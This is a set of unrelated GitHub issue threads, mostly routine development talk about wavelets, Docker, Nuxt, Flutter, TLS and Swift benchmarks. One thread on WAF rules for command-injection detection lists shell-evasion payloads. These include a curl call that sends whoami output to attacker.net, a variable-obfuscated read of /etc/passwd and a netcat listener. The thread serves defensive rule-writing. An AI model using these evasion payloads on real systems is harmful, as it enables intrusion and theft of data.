Translated code needs to be licensed under the upstream (jLab's) license (currently CC BY-NC-SA) unless @jonathanlilly lets us re-license. I strongly recommend relicensing because the NC part prevents commercial use.

I should probably write the tests as I go but am not sure what they should be for simple formulas. Tests on sizes and shapes?

You can start with a known small input and expected output values, based on jLab's wavelet. Make a test function that passes that input to your Python wavelet function and compares (with some small tolerance) the expected output from jLab against your Python function output. The test will of course fail, but let it fail as you work on the implementation and when it passes you'll know the implementation is correct.

It does not, I know that much.
The Morse wavelet is derived from the work of @jonathanlilly and collaborators. It is an analytic wavelet which is particularly useful for Lagrangian bivariate data. It has been ported in a python package but I am not in love with their implementation that I have already tested extensively.

Great, that's all I ask--it wasn't clear from your first message. :)

I feel like morsewave should be defined as a class because it clearly has characteristics such as parameters etc. I welcome  advice on this.

I replaced the hand-coded _gamma and _lgamma and imported the equivalents from scipy.special. I commented out their definitions for reference, but we should delete them once we're ready to merge.
scipy.special also provides laguerre which we may be able to use. However, I wasn't sure because the SciPy one only takes an order n, while the hand-coded one takes k and c, so maybe they are somewhat different functions.

General question about numerical types used in wavelet calculation: Is double precision important or would single precision suffice? We could inherit precision from the input array.

Why not double precision that seems to be the default in python? I am not sure that any gain of speed or storage is worthwhile at this level of the testing. I will nevertheless ask @jonathanlilly

Less so for speed and storage, more for memory use (factor of 2). Accuracy of weather, ocean, and climate analysis and modeling generally don't benefit from double precision except for where needed for convergence. For a sufficiently large dataset, single vs. double precision makes a difference whether you can do it or not.

I see! I suspect double precision is beneficial for the calculation of the wavelet itself (morsewave) but may not be for the calculation of the wavelet transform (wavetrans). We could enforce double precision for morsewave and inherit the precision of x for wavetrans. If that sounds reasonable how does one do that?

We could enforce double precision for morsewave and inherit the precision of x for wavetrans. If that sounds reasonable how does one do that?

I think it would be where we initialize wave_ and tell it to use the same dtype as x. It seems like the arrays that are then computed from wave_ and finally wtx that is returned by the function would inherit that type.

We could enforce double precision for morsewave and inherit the precision of x for wavetrans. If that sounds reasonable how does one do that?

I think it would be where we initialize wave_ and tell it to use the same dtype as x. It seems like the arrays that are then computed from wave_ and finally wtx that is returned by the function would inherit that type.

The one  tricky thing is that x could be real or complex. I'll find a way.

I see! I suspect double precision is beneficial for the calculation of the wavelet itself (morsewave) but may not be for the calculation of the wavelet transform (wavetrans). We could enforce double precision for morsewave and inherit the precision of x for wavetrans. If that sounds reasonable how does one do that?

I don't know if there is a better way but you could do:
complex_dtype = np.complex64 if x.dtype == "float32" else np.complex128
wave_ = np.zeros(1, dtype=complex_dtype)

I see! I suspect double precision is beneficial for the calculation of the wavelet itself (morsewave) but may not be for the calculation of the wavelet transform (wavetrans). We could enforce double precision for morsewave and inherit the precision of x for wavetrans. If that sounds reasonable how does one do that?

I don't know if there is a better way but you could do:
complex_dtype = np.complex64 if x.dtype == "float32" else np.complex128
wave_ = np.zeros(1, dtype=complex_dtype)

ok but should we not use csingle and cdouble???

It is the same thing. Single is 32 bits and Double is 64 bits, so for complex it becomes 64/128.

It is the same thing. Single is 32 bits and Double is 64 bits, so for complex it becomes 64/128.

But this

It is the same thing. Single is 32 bits and Double is 64 bits, so for complex it becomes 64/128.

But this

Interesting... on Macos it's working so I'm a bit confused. We run the tests on Linux/macOS/Windows so worst case it would fail later. I guess either works.

Super interesting because tests fail on my mac. Tests pass with np.cdouble.

Maybe the ARM version of macOS has the same alias but not the regular one.

No need to mess around with aliases, let's just go with the main names / defaults from the docs (np.cdouble etc.). I didn't know that all this time I was using something OS-specific.

Maybe the ARM version of macOS has the same alias but not the regular one.

🤯

No need to mess around with aliases, let's just go with the main names / defaults from the docs (np.cdouble etc.). I didn't know that all this time I was using something OS-specific.

Same! We all learned something today!

For this PR we still need to either:

Include jLab's license at the top of wavelet.py; or
Get permission from @jonathanlilly to license the translation under CloudDrift's license.

morse_space is not behaving as expected which I will discuss with @jonathanlilly

morse_space fixed. Need to write tests.

@milancurcic @philippemiron I would be very grateful if you could do another pass reading the docstrings for typos and comprehension. @milancurcic please add the jlab license at the top of module as we discuss.

I'll provide a final review in the next hour.

Let's release v0.21.0 after merging this.


The help-text for the create command is infuriatingly wide

This is unreadable:

It seems to be because of the --google-scopes and --exoscale-security-group flags. :P

Actually, further, it'd be a lot less confusing for a newcomer if that list were broken down. I'm assuming it's automatically generated, but it'd be really nice if the inspecific flags were listed first, and then the individual flags for each “driver” (took me a few minutes to even find out that there was a --driver flag, in all that mess!) were listed separately / below.

… and further yet, if I run it according to that help-text,
Usage: docker-machine create [OPTIONS] [arg...]

Create a machine

> docker-machine create --driver vmwarefusion \
     --vmwarefusion-cpu-count 2 --vmwarefusion-disk-size 10000 --vmwarefusion-memory-size 4096
<legions of help-text>
“You must specify a machine name.”

Nowhere in all of the output help-text is there any description of how to specify a “machine name.” I tried the rather obvious, and simply appended ‘uhh’ to the end of that string … and now I successfully have a VMware docker-machine named “uhh.” That should really be mentioned in the Usage:-string, though.

Please try the 0.5.0-rc4.  Now driver-specific flags only appear if you specify the driver with the --driver flag.

@nathanleclaire excellent! Always great to report a problem, only to hear it's already been fixed in HEAD. <3

Does this also fix the Usage-string omission?

I think you mean the specification of "name" as an argument?  If so, then no, but that issue is slightly more problematic.  Our cli library AFAIK doesn't allow specification of named args in the example in the help text, but I'd consider a pull request that adds it to the small summary (e.g. add Accepts a machine name as an argument).


Set plugin only on specific layouts

Is it possible to set a plugin just for specific Layouts?
I have an $axios plugin that I want to use only for adminLayouts, and don't want to load all the extra code in the clientLayouts (it would also break because I use Vuetify in admin plugins but is not included in the client)

Plugins was designed to be run before instantiating the root vue.js application, so it cannot be used only for specific layouts.
You can manually import the plugin in the layout and initialize it in beforeCreate or created which are called both from client-side and server-side.

What is the syntax? Just this?
import Vue from 'vue'
import MyPlugin from '~/plugins/my-plugin'

Vue.use(MyPlugin)

// plugins/my-plugin
import Vue from 'vue'
export default () => {
  // ...
  Vue.use(....)
}

// adminLayouts
import myPlugin from '~/plugins/my-plugin'
export default {
  created() {
    myPlugin()
  }
}

@clarkdo how do I use this with inject? For example if I have this?
const MyCookies = (req, res) => 'hello'
export default ({ req, res }, inject) => {
  inject('cookies', MyCookies(req, res))
}

export default ({ app }, inject) => {
  inject('cookies', cookies)
}

Then you can use:
app.$cookies
this.$cookies in vue components
this.$cookies in store actions/mutations

Ah ok so I don't have to mount it in layouts? I just need import ~/plugins/cookie without setting Vue.use(myPlugin) ?

Yes, inject will include Vue.use.

Ah that is what I was missing, I'll give it a try, thanks a lot :)

It seems that it doesn't work because the js on middleware folder runs before I hit the layout template

Sorry, I think I misunderstood you questions.

If you want to set a plugin just for specific Layout, read my first comment, in this case. The plugin is only a ordinary js file, not nuxt plugin, so you can not use  inject.
If you want to use inject in plugin, this comment if fine.

With option 1. would I be able to access middleware though? I use the plugins there

Because this issue seems to be inactive for quite some time, I'll close it now. If you feel like it deserves some attention because it's not fixed, feel free to ping me and I'll reopen it.


[Bug]: PermissionRequestInProgressException not being thrown as expected on Android

Please check the following before submitting a new issue.

[X] I have searched the existing issues.
[X] I have carefully read the documentation and verified I have added the required platform specific configuration.

Please select affected platform(s)

[X] Android
[ ] iOS
[ ] Linux
[ ] macOS
[ ] Web
[ ] Windows

Steps to reproduce
The following behavior has been observed on Android 13 and 14 emulator in debug mode and on an Android 13 phone in release mode.

Display a permission dialog such as for notifications
Without dismissing the dialog from step 1, call requestPermission() inside of a try/catch
A message is displayed in the console "Can request only one set of permissions at a time" but the PermissionRequestInProgressException is not thrown yet the code does not proceed past requestPermission()... refer to screenshot

Expected results
A PermissionRequestInProgressException should be thrown when requesting permission while another permission dialog is already visible
Actual results
A PermissionRequestInProgressException is not being thrown when requesting permission while another permission dialog is already visible and the code execution halts despite console messages confirming the issue
Code sample
Code sample
// Initiate some other permission dialog

debugPrint("Checking");
var permission = await Geolocator.checkPermission();

if (permission == LocationPermission.denied) {
  try {
    debugPrint("Requesting");
    await Geolocator.requestPermission();
    debugPrint("Requested");
  } on Exception {
    debugPrint("caught");
  } finally {
    debugPrint("finally");
  }

  debugPrint("permission = $permission");
}

Screenshots or video

Screenshots or video demonstration
[Upload media here]

Version
10.1.0
Flutter Doctor output
Doctor output
Doctor summary (to see all details, run flutter doctor -v):
[√] Flutter (Channel stable, 3.13.9, on Microsoft Windows [Version 10.0.19045.3570], locale en-US)
[√] Windows Version (Installed version of Windows is version 10 or higher)
[√] Android toolchain - develop for Android devices (Android SDK version 34.0.0)
[√] Chrome - develop for the web
[X] Visual Studio - develop Windows apps
    X Visual Studio not installed; this is necessary to develop Windows apps.
      Download at https://visualstudio.microsoft.com/downloads/.
      Please install the "Desktop development with C++" workload, including all of its default components
[√] Android Studio (version 2022.3)
[√] VS Code (version 1.84.2)
[√] Connected device (4 available)
[√] Network resources

! Doctor found issues in 1 category.

Dear @dbmessina,
Can you please provide us with a complete piece of example code? I cannot reproduce this.
Kind regards,

@TimHoogstrate I've attached a minimal project exhibiting the same behavior.
permission_test.zip

@dbmessina,
My log says that it works :) Is that correct? Although this is an Android 13 emulator.
I/flutter ( 1658): Before requestPermission()
W/Parcel  ( 1658): Expecting binder but got null!
I/flutter ( 1658): After requestPermission()
I/flutter ( 1658): After try/catch

Kind regards,

@TimHoogstrate I'm also running an Android 13 emulator. When I run the app, the camera permission dialog pops up first as intended, blocking the location permission dialog. That is expected behavior. My console shows the following:
I/flutter ( 7361): Before requestPermission() W/Activity( 7361): Can request only one set of permissions at a time I/Geolocator( 7361): The grantResults array is empty. This can happen when the user cancels the permission request
I would expect it to land in the catch block and it doesn't. Your console output is what I would expect if you didn't have another permission dialog blocking the location one. Is this from the second time you ran the app?

Dear @dbmessina,
I just re-run the project and it seems that I don't see the camera permission dialog. Log is first run:
I/flutter ( 2132): Before requestPermission()
W/Parcel  ( 2132): Expecting binder but got null!
I/flutter ( 2132): After requestPermission()
I/flutter ( 2132): After try/catch

@TimHoogstrate The app is very straightforward, I'm not sure why you aren't seeing the camera permission dialog on a first run after install. I could attach a screen recording... would that be helpful?

Aah now I get it. Now I see the:
I/flutter (18818): Before requestPermission()
W/Activity(18818): Can request only one set of permissions at a time

This is expected behaviour. You can request location and camera permissions through the permission handler. If you want to request multiple permissions "simultaneously" you can use:
// You can request multiple permissions at once.
Map<Permission, PermissionStatus> statuses = await [
  Permission.location,
  Permission.storage,
].request();

Kind regards,

@TimHoogstrate Okay, I'll switch to that approach if this is working as intended. But it doesn't seem to be since there is an exception for exactly this situation and it's not landing in the catch block, we only get debug console output.


tls: enable tls 1+

Currently TLS version 1.0 is used implicitly by using the TLSv1_method.
To be able to also use TLS 1.1 and later use SSLv23_client_method
instead. To make sure SSLv2 or SSLv3 isn't used disable them.
Based on PR #3036

This works fine for me to connect to a TLS 1.2-only server.

+1

@Thunbolt22 what thin client are you using? - Ideally they should integrate the latest branch but at least something that contains the commit from this pull request (aa80f63b4ab19101cbdc376f7e0613ed410fee11)

it is NoTouch by stratodesk.


Shell aliasing and other techniques for RCE

Description
Per reports EBIDJ91T, IXMZUXBG, K7LMFJXP, MKXQCJMX, S9ZC1HN6 and YIYFWRSY we need to be able to check different types of shell aliasing and other techniques to find RCE attempts.
Here are the examples we need to cover:

using variables 1: a=curl&&b=whoami&&$a http://attacker.net/$b
using variables 2: a=/etc&&b=/passwd&&c=cat&&$c $a$b
globbing 1: {n$u\c$u,-nlvp,777}
globbing 2: garb=cur[l];$garb+google.com
vars + spacing: v='u';cu$v\r\l google.com
non-existing vars: cu$@rl

This might need a new rule encompassing all these, or we can complement existing ones.

Oh my, that's a shitload of crazy evasions.
Did you look into the possibilities to expand 932200 (PL2)?

I didn't. But thanks to your tip we might encourage one of our great devs to take a look!

Hope somebody wants to grind their teeth into this. The last 1-2 years I got the feeling that we are weaker on RCE than we previously assumed. So there is some room to improve here. Maybe by taking 932200 apart, combining with these new evasions and then decide which ones should be caught by PL1 and which ones by PL2 etc. Stricter siblings and such.

Per discussion with @theseion, this is probably going to be covered by extending the cmdLine processor in regexp-assemble to include the variable usage $.

This is also meant to cover BBBZARPI.

Not that the new rule 932220 does not cover this case. Add a test case that checks pipe use, e.g., whxmi|s$@h

For future CRS developers
After thinking of a solution that involved changing the cmdLine processor to get additional coverage for evasions, we ended up with [\x5c'\"\[]*(?:\$[a-z0-9_@?!#{*-]*)?(?:\x5c)?.
This covers the cases below, so we are good:

But.
Yes, there is always one, right? After applying the change, we ended up with rule 932100 being about 32K of text :/
So we started thinking about this with @theseion, and we came up with the following approach:
let's split the word lists in the length, and be less precise with the matches with more chars, and, instead, try to detect evasion attempts generically. The initial division we are using is 3 (three) chars. So, for the commands with (2,3) two and three chars we take them from the list as is, and we apply the evasion prevention mentioned above. For more than 3 (4 an up), we use a generic matching using something like [a-z0-9][\x5c'\"\[]*(?:\$[a-z0-9_@?!#{*-]*)?(?:\x5c)?{4,10} (10 here is used as example), so we can describe them using a generic approach.
This will end up in:

a new rule for 2 and 3 chars and the evasion technique applied.
a new generic rule for 4 and up chars, up to something reasonable with the evasion added.
we can keep the lists for commands, but they won't need to have the cmdline applied anymore, if we don't need to.

Pendings for evasion RCE ruleset
This will impact:

[ ] rules/unix-shell.data
[ ] data/932100.data
[ ] data/932105.data
[ ] data/932106.data
[ ] data/932120.data
[ ] data/932150.data
[ ] data/932175.data

the rule 932240 reference this issue, IDK if it's the right place to send this comment. WordPress (and I guess many other applications) has a lot of FPs because of ARGS_NAMES like foo[babadapupi][aaaooo] that it's quite common. Can we remove ARGS_NAMES from the variable list? it's not even used in ARGS_NAMES on our regression tests @fzipi @theseion @dune73

We removed ARGS_NAMES from 932240.

All the techniques mentioned here were addressed.
The changes made for supporting this made me think about taking a second look at the whole techniques we are covering. Creating a follow-up issue.


memory_max attribute on xenorchestra_vm is not persisted to terraform's state

There was an issue early on in the project that caused me to prevent adding the memory_max attribute to the xenorchestra_vm's state. As a result the following code was commented out.
We should get to the bottom of the error and fix this so that it does not create any confusion when importing VM's into Terraform (since currently it causes Terraform to think that the attribute has no value after an import).

This was fixed in v0.11.2 of the provider.

This was fixed in v0.11.2 of the provider.


PIP Server Framework

Policy Information Point (PIP): Serves as the retrieval source of attributes, or the data required for policy evaluation to provide the information needed by the PDP to make the decisions. NIST SP 800-162.

In version 0.1.0 we will provide the base PIP service, which should not be limited to the existing tracer and collector implementations, and I think we should introduce an indirection layer to isolate the PIP service from the existing trace/collection mechanisms. And maybe this indirection layer is what's called an analyzer.

[ ] Proposal: intro analyzer for trackings
[ ] PIP Server implementation


Creating our own crypto coin (which allows only creator to create new coins).

Project title
Crypto Coin
Project Description
The contract allows only its creator to mint new coins.
Anyone can send coins to each other without the need of registering (with a username and password) all u need is a ethereum keypair.
Domain

[x] Solidity

Are you contributing under any open-source program ?
SSOC'22

Great idea !  start working on it .
Can u please tell the folder structure in which u waana to  push this .

I'll add it in level 2 (create  a new folder of crypto coin).

ok fine
Happy learning :smile:

@Vikash-8090-Yadav  Is the issue still open?

if u are taking part in hackatoberfest . open this  issue and  ping me . @Sanitya7  @ishani02

@AnmolSirola

if u are taking part in hackatoberfest . open this issue and ping me . @Sanitya7 @ishani02

yes I am taking part in Hacktoberfest 2022

raise the new @ishani02  for hacktoberfest 2022 .

ok


Updated for better error handling

Looking good.  A couple of items to look at / fix

NatsPublish:         SPLAPPTRC(L_INFO, "[NatsPublish] Successfully published message", "");
This should use L_DEBUG.  L_INFO as a matter of good practice should not output a message for every data tuple that passes through.  It can slow down the analytic.

I ran the NatsPubSub sample and while running, I killed the nats server.
The NatsPublish operator continued to process tuples and just throw them on the floor.  Perhaps a timeout parameter should be added.  Here are my thoughts:
Process() method should block if the connection is not available (this will cause tuples to back pressure, that is ok for a short period of time)
If the elapsed time since successful connection exceeds timeout parameter, then crash the PE
If timeout is set to 0, then never crash and let it back pressure forever.
Same could be done for the Subscribe with respect to timeout and crashing the PE

Crashing the PE sounds harsh, but it will be easier to diagnose than just a big pile up.  If a user doens't like it they set timeout to 0.  In fact, perhaps that is the default.


Fix OSSA handling of address uses

Fix code that analyzes address uses for use in OSSA utilities. Various correctness and efficiency issues noticed via code inspection.
This code was mostly disabled because of a bug. Fixing it exposes other bugs in OSSA utilities, so some of the logic is temporarily disabled. Those utilities have been fixed, but they are dependent on these changes so need to be in a following PR. Additional unit tests will be checked in with those changes.

@swift-ci test

Build failed
Swift Test Linux Platform
Git Sha - cb8f264af184802ab29fcf1e4a75b8e922ac3b1b

Build failed
Swift Test OS X Platform
Git Sha - cb8f264af184802ab29fcf1e4a75b8e922ac3b1b

Failures in
(watchsimulator-i386) :: api-digester/clang-module-dump.swift
(linux-x86_64).Concurrency/Runtime.async_task_priority_current.swift
(linux-x86_64).Sanitizers/tsan.racy_async_let_fibonacci.swift

@swift-ci test

@swift-ci test source compatibility

@swift-ci smoke test

Performance (x86_64): -O

Regression
OLD
NEW
DELTA
RATIO

RemoveWhereMoveInts
31
34
+9.7%
0.91x (?)

StringBuilderSmallReservingCapacity
315
342
+8.6%
0.92x (?)

InsertCharacterEndIndexNonASCII
59
64
+8.5%
0.92x (?)

StringBuilder
307
331
+7.8%
0.93x (?)

ObjectiveCBridgeStringGetASCIIContents
503
541
+7.6%
0.93x (?)

Improvement
OLD
NEW
DELTA
RATIO

FlattenListLoop
2537
1656
-34.7%
1.53x (?)

FlattenListFlatMap
7116
5681
-20.2%
1.25x (?)

StringFromLongWholeSubstring
5
4
-20.0%
1.25x (?)

Breadcrumbs.MutatedUTF16ToIdx.Mixed
309
279
-9.7%
1.11x (?)

LessSubstringSubstring
43
39
-9.3%
1.10x (?)

EqualSubstringSubstring
42
39
-7.1%
1.08x (?)

EqualStringSubstring
42
39
-7.1%
1.08x (?)

EqualSubstringString
42
39
-7.1%
1.08x (?)

EqualSubstringSubstringGenericEquatable
43
40
-7.0%
1.07x (?)

LessSubstringSubstringGenericComparable
43
40
-7.0%
1.07x (?)

Code size: -O
Performance (x86_64): -Osize

Regression
OLD
NEW
DELTA
RATIO

ObjectiveCBridgeStringHash
135
149
+10.4%
0.91x

RemoveWhereMoveInts
34
37
+8.8%
0.92x (?)

StringBuilderSmallReservingCapacity
315
342
+8.6%
0.92x

Array2D
6928
7520
+8.5%
0.92x (?)

InsertCharacterEndIndexNonASCII
59
64
+8.5%
0.92x (?)

RemoveWhereSwapInts
37
40
+8.1%
0.93x (?)

Improvement
OLD
NEW
DELTA
RATIO

ObjectiveCBridgeStubFromNSString
1782
1557
-12.6%
1.14x (?)

Breadcrumbs.MutatedIdxToUTF16.Mixed
315
285
-9.5%
1.11x (?)

LessSubstringSubstring
44
40
-9.1%
1.10x (?)

EqualSubstringSubstringGenericEquatable
44
40
-9.1%
1.10x (?)

ObjectiveCBridgeToNSDictionary
19600
18100
-7.7%
1.08x (?)

FlattenListFlatMap
6796
6291
-7.4%
1.08x (?)

EqualSubstringSubstring
43
40
-7.0%
1.07x (?)

EqualStringSubstring
43
40
-7.0%
1.07x (?)

EqualSubstringString
43
40
-7.0%
1.07x (?)

LessSubstringSubstringGenericComparable
43
40
-7.0%
1.07x (?)

Code size: -Osize
Performance (x86_64): -Onone

Regression
OLD
NEW
DELTA
RATIO

StringWordBuilderReservingCapacity
2570
2950
+14.8%
0.87x (?)

StringWordBuilder
2610
2990
+14.6%
0.87x (?)

ObjectiveCBridgeStringHash
135
150
+11.1%
0.90x (?)

Improvement
OLD
NEW
DELTA
RATIO

StringToDataMedium
7750
7000
-9.7%
1.11x (?)

Breadcrumbs.MutatedUTF16ToIdx.Mixed
317
287
-9.5%
1.10x (?)

StringToDataLargeUnicode
7800
7200
-7.7%
1.08x (?)

Code size: -swiftlibs

How to read the data
The tables contain differences in performance which are larger than 8% and
differences in code size which are larger than 1%.
If you see any unexpected regressions, you should consider fixing the
regressions before you merge the PR.
Noise: Sometimes the performance results (not code size!) contain false
alarms. Unexpected regressions which are marked with '(?)' are probably noise.
If you see regressions which you cannot explain you can try to run the
benchmarks again. If regressions still show up, please consult with the
performance team (@eeckstein).

Hardware Overview
  Model Name: Mac Pro
  Model Identifier: MacPro6,1
  Processor Name: 12-Core Intel Xeon E5
  Processor Speed: 2.7 GHz
  Number of Processors: 1
  Total Number of Cores: 12
  L2 Cache (per Core): 256 KB
  L3 Cache: 30 MB
  Memory: 64 GB

@swift-ci smoke test

@swift-ci test

@swift-ci test source compatibility


JEI vanilla item descriptions not registered

Even after re-running setupDecompWorkspace, jei vanilla item descriptions are still non functional on my machine. Once we get this fixed, I will release the first 1.12 alpha.

 Going to sleep. Night.
On Sun, Oct 1, 2017 at 8:51 PM Andrew Morin<EMAIL_ADDRESS>wrote:

Assigned #39 https://github.com/theishiopian/ForageCraft/issues/39 to
@JonathanTheInsane https://github.com/jonathantheinsane.
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub
https://github.com/theishiopian/ForageCraft/issues/39#event-1273270260,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ARUFAN5yw3kK4-mzP4NO6ZGWPU-c8mmjks5soDN3gaJpZM4PqGJ6
.

gotcha
Ill fix some of the other stuff tonight.

They seem to be working now lmao


mitogen.service.call not available

In samples found on the net, e.g.
https://mitogen.networkgenomics.com/services.html
there is a call to
mitogen.service.call(context, FileService.handle, {
'path': path
})
In mitogen 0.2.6, this 'call' is not available.

Hi there, thanks for reporting this. The core library documentation is terrible at present. If you are playing with it, it might be worth scanning the docs TODO list on https://github.com/dw/mitogen/issues/451 for further hints.
I've updated the example on the services page to ensure it runs, and removed the very outdated files from the examples directory.


NPSP trial metadata no longer deploys to an Enterprise Edition org

With the recent changes to the unpackaged/config/trial folder, deploying the trial metadata to a scratch org no longer works when the org is Enterprise.  There is no issue with Developer Edition.  Errors are:
Update of RecordType Opportunity.InKindGift: Error on line 438, col 18: Picklist
value: Partner Referral in picklist: LeadSource not found

Update of RecordType Opportunity.MajorGift: Error on line 622, col 18: Picklist
value: Partner Referral in picklist: LeadSource not found

Update of RecordType Opportunity.MatchingGift: Error on line 809, col 18:
Picklist value: Partner Referral in picklist: LeadSource not found

Update of RecordType Opportunity.Membership: Error on line 963, col 18: Picklist
value: Partner Referral in picklist: LeadSource not found

Update of PermissionSet Gift_Entry_Recommended: Error: In field: field - no
CustomObject named WorkPlan found

Update of PermissionSet NPSP_Data_Import: Error: In field: field - no
CustomObject named WorkPlan found

Update of PermissionSet View_Donations: Error: In field: field - no CustomObject
named WorkPlan found

Update of CaseSettings Case: Error: EmailToCaseSettings: Email to case cannot be
disabled once it has been enabled.

We have noticed a similar issue today when running the deploy_trial_config flow. We are using Org Shape and Enterprise.
Update of RecordType Opportunity.Donation: Error on line 123, col 18: Picklist value: Partner Referral in picklist: LeadSource not found

Update of RecordType Opportunity.Grant: Error on line 263, col 18: Picklist value: Partner Referral in picklist: LeadSource not found

Update of RecordType Opportunity.InKindGift: Error on line 438, col 18: Picklist value: Partner Referral in picklist: LeadSource not found

Update of RecordType Opportunity.MajorGift: Error on line 622, col 18: Picklist value: Partner Referral in picklist: LeadSource not found

Update of RecordType Opportunity.MatchingGift: Error on line 809, col 18: Picklist value: Partner Referral in picklist: LeadSource not found

Update of RecordType Opportunity.Membership: Error on line 963, col 18: Picklist value: Partner Referral in picklist: LeadSource not found

Update of PermissionSet Gift_Entry_Recommended: Error: In field: field - no CustomField named Case.EntitlementId found

Update of PermissionSet View_Donations: Error: In field: field - no CustomField named Case.EntitlementId found

Update of PermissionSet NPSP_Data_Import: Error: In field: field - no CustomField named Case.EntitlementId found

Update of OpportunitySettings Opportunity: Error: You cannot disable opportunity teams via the Metadata API

I've seen the same issue when using org shape today. Some of the errors can be removed by enabling features like Entitlements, WorkPlans, etc. but it seems as if some of the metadata that the trial config deploys contains references to standard SF features that have to be enabled before they can be referenced.

Hi all, thanks for raising and apologies for this. This has caused issues with internal testing too and was not intentional.
The team will be looking at this but as it's a busy time at the moment with testing for upcoming customer releases we can't commit to a timing as of yet. When I know more I'll post back

Please follow the PR linked above to keep updated on the status of reverting these changes


Notifications are not buffered?

It seems that notifications are not buffered like they are in chromium based implementations.
Here's a small example, I'll leave out the code as it isn't that relevant, rather I'll dump the request/response data from node-rdbg.
TAP version 13
# spawn
stdout: 'chrome-devtools://devtools/bundled/inspector.html?ws=<IP_ADDRESS>:4000/websocket'
stdout: 'console log'
RDBG 38874: connect
RDBG 38874: request { id: 0, method: 'Console.enable', params: {} }
RDBG 38874: message { method: 'Debugger.scriptParsed',
  params:
   { scriptId: '236',
     url: 'file:///usr/local/lib/node_modules/bugger/lib/agents/console/index.js',
     lineCount: 103,
     sourceOffset: { line: 0, column: 0 },
     context: null,
     evalContext: null } }
RDBG 38874: response { id: 0, method: 'Console.enable', params: {} }, { id: 0, error: null }

So there are two things going "wrong" here. Or they are at-least behaving differently from the spec.

I have not called  Debugger.enable, yet I am getting scriptParsed notifications.
I am not getting Console.messageAdded notifications for the console messages that occurred before Console.enable is called.

I think this would need to happen on a case-by-case basis. E.g. when reloading or reconnecting, the agent instances are actually reused right now. So it would be a big(ish) change to make them actually track if the current client called enable already.

Keeping a complete memory of the console output until clear was called sounds good
It would be possible to silence scriptParsed until the first client connects. But I'm not sure if that's worth it since reconnecting will revert back to the current behavior. It's save to ignore scriptParsed before enable though since enable will trigger a send of all scripts known so far anyhow.

https://github.com/buggerjs/bugger/pull/60 should address the Console.messageAdded case. For scriptParsed it would potentially be possible to track the enable state for all agents and stop them from emitting anything if they are not enabled. But I'd honestly prefer to just depend on clients to work the same way that Chrome does (ignore/drop messages received before enable was called). It's hard enough to track what Chrome is doing (especially since that changes every couple of weeks).


gnomeExtensions.arcmenu: 12 -> 14

Motivation for this change
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
21.11 Release Notes (or backporting 21.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 133210 at 78348476 run on x86_64-linux 1

1 package built successfully:

gnomeExtensions.arcmenu (gnomeExtensions.arc-menu)

1 suggestion:

warning: missing-patch-comment
Consider adding a comment explaining the purpose of this patch on the line preceeding.
Near pkgs/desktops/gnome/extensions/arcmenu/default.nix:15:5:
   |
15 |     (substituteAll {
   |     ^

merged #131716 but accidentally merged it into staging due to a bug in nixpkgs-update


docs: Update runs.mdx

From what I can tell, it is expected for run functions to return with some sort of payload. Providing an example here as a reference and guideline.

Nice! thanks.


Add planet coordinates json, update factions json to include illuminate

See title

the factions.json looks great, I feel like the coordinates.json is a bit redundant though given that it's information returned from the API.
Maybe remove it?

feedback applied, merge pl0x


cmd/go: files in module cache may be writable on Windows

In the course of testing #31481, I found the following failure on the windows builders at patch set 3 (https://storage.googleapis.com/go-build-log/096e97bd/windows-386-2008_7b478c28.log):
--- FAIL: TestScript (0.00s)
    --- FAIL: TestScript/mod_cache_rw (0.29s)
        script_test.go:191:
            # Regression test for golang.org/issue/31481. (0.000s)
            # golang.org/issue/31481: an explicit flag should make directories in the module
            # cache writable in order to work around the historical inability of 'rm -rf' to
            # forcibly remove files in unwritable directories. (0.210s)
            # After adding an extraneous file, 'go mod verify' should fail. (0.046s)
            # However, files within those directories should still be read-only to avoid
            # accidental mutations. (0.001s)
            > [!root] ! cp $WORK/extraneous.txt<EMAIL_ADDRESS>            FAIL: testdata\script\mod_cache_rw.txt:16: unexpected command success

FAIL
FAIL	cmd/go	75.878s

This suggests that either the root condition in TestScript is failing to detect a user acting in some sort of root-like role on Windows, or else we are failing to mark the contents of the module cache read-only on Windows.
CC @jayconrod @alexbrainman @zx2c4

I'll have something on gerrit in 5 minutes.

Suggested issue title change: "syscall: Windows does not respect permission bits passed to Open"


Project build error on Mac

Description:
Create an Integration project and right-click on the MMM project and 'Maven build'. It results with the following error on Mac.

Suggested Labels:

Suggested Assignees:

Affected Product Version:
OS, DB, other environment details and versions:
Steps to reproduce:
Related Issues:

This error is due to exec plugin that we use in the ESB Config project's pom.xml file. We need to revisit the pom.xml to find a proper fix for this issue. As a workaround, we can start Integration Studio from the terminal in macOS.


HubConnectionBuilder misleading documentation

Hi, this one has recently just caught me out.
https://github.com/moozzyk/SignalR-Client-Swift/blob/45cd7e3435d8bd89ec06103eee352bc3cfb0338e/Sources/SignalRClient/HubConnectionBuilder.swift#L65
The comment here reads:

When using this overload all log entries whose level is greater or equal than minLogLevel will be written

I think it should be:

When using this overload all log entries whose level is less than or equal to maxLogLevel will be written

This is because the logger does the following:
    func log(logLevel: LogLevel, message: @autoclosure () -> String) {
        if (logLevel.rawValue <= minLogLevel.rawValue) {
            logger.log(logLevel: logLevel, message: message())
        }
    }

I was going to update myself, but this probably means that the variable minLogLevel probably needs changing to maxLogLevel causing a breaking change, so I thought I would get in touch first.

This phrase might be worded ambiguously if taken literally:
whose level is greater or equal than `minLogLevel`

given that the definition of log level looks like this:
https://github.com/moozzyk/SignalR-Client-Swift/blob/06f27d82cdeacbd53487ad4bd3ae2d3eee78bedc/Sources/SignalRClient/Logger.swift#L11-L16
Conceptually, .error level is higher than .warning level - the higher the level the less logging you will have. minLogLevel means that the client should log at this level and all levels above, e.g. if minLogLevel is .error only errors should be logged. If minLogLevel is .info then informational, warning and error log entries should be logged.

Yeah, and given that the enum is an Int, it's pretty easy to take literally.
You could always change the raw values, i.e:
 public enum LogLevel: Int {
     case debug = 1
     case info = 2
     case warning = 3
     case error = 4
 }

